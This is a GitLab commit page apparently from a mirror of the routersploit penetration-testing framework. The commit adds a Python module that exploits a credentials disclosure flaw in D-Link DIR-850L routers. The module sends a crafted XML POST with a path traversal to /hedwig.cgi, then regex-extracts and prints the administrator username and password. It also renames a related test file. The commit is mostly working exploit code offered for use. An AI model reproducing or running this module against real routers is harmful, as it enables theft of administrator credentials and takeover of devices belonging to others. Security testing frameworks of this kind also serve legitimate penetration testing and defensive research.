Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
b32791b0
Unverified
Commit
b32791b0
authored
May 07, 2018
by
Marcin Bury
Committed by
GitHub
May 07, 2018
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding D-Link DIR-850L Creds Disclosure exploit (#390)
parent
7aef97f9
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
70 additions
and
3 deletions
+70
-3
dir_850l_creds_disclosure.py
...dules/exploits/routers/dlink/dir_850l_creds_disclosure.py
+69
-0
test_dir_850l_creds_disclosure.py
.../exploits/routers/dlink/test_dir_850l_creds_disclosure.py
+1
-3
No files found.
routersploit/modules/exploits/routers/dlink/dir_850l_creds_disclosure.py
0 → 100644
View file @
b32791b0
import
re
from
routersploit.core.exploit
import
*
from
routersploit.core.http.http_client
import
HTTPClient
class
Exploit
(
HTTPClient
):
__info__
=
{
"name"
:
"D-Link DIR-850L Creds Disclosure"
,
"description"
:
"Module exploits D-Link DIR-850L credentials disclosure vulnerability, "
"which allows retrieving administrative credentials."
,
"authors"
:
[
"Hack2Win"
,
# vulnerability discovery
"GH0st3rs"
,
# routersploit module
],
"references"
:
[
"https://packetstormsecurity.com/files/145097/dlink-850-admin-creds-retriever.sh.txt"
,
"https://www.rapid7.com/db/modules/exploit/linux/http/dlink_dir850l_unauth_exec"
,
"https://blogs.securiteam.com/index.php/archives/3364"
,
],
"devices"
:
[
"D-Link DIR-850L"
,
]
}
target
=
OptIP
(
""
,
"Target IPv4 or IPv6 address"
)
port
=
OptPort
(
80
,
"Target HTTP port"
)
def
run
(
self
):
self
.
credentials
=
[]
if
self
.
check
():
print_success
(
"Target seems to be vulnerable"
)
print_table
((
"Username"
,
"Password"
),
*
self
.
credentials
)
print_error
(
"Target does not seem to be vulnerable"
)
@mute
def
check
(
self
):
headers
=
{
"Content-Type"
:
"text/xml"
,
}
cookies
=
{
"uid"
:
utils
.
random_text
(
8
),
}
data
=
(
"<?xml version =
\"
1.0
\"
encoding=
\"
utf-8
\"
?>"
"<postxml>"
"<module>"
"<service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>"
"</module>"
"</postxml>"
)
response
=
self
.
http_request
(
method
=
"POST"
,
path
=
"/hedwig.cgi"
,
data
=
data
,
headers
=
headers
,
cookies
=
cookies
)
if
response
and
response
.
status_code
==
200
and
"No modules for Hedwig"
in
response
.
text
:
pattern
=
r"<uid>.*</uid>\s*<name>(.*?)</name>\s*<usrid>.*</usrid>\s*<password>(.*?)</password>"
creds
=
re
.
findall
(
pattern
,
response
.
text
)
if
creds
:
self
.
credentials
=
creds
return
True
return
False
tests/exploits/routers/dlink/test_dir_850l_
hedwig_lfi
.py
→
tests/exploits/routers/dlink/test_dir_850l_
creds_disclosure
.py
View file @
b32791b0
#from routersploit.modules.exploits.routers.dlink.dir_850l_hedwig_lfi
import Exploit
from
routersploit.modules.exploits.routers.dlink.dir_850l_creds_disclosure
import
Exploit
def
test_check_success
(
target
):
return
""" Test scenario - successful check """
cgi_mock
=
target
.
get_route_mock
(
"/hedwig.cgi"
,
methods
=
[
"POST"
])
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment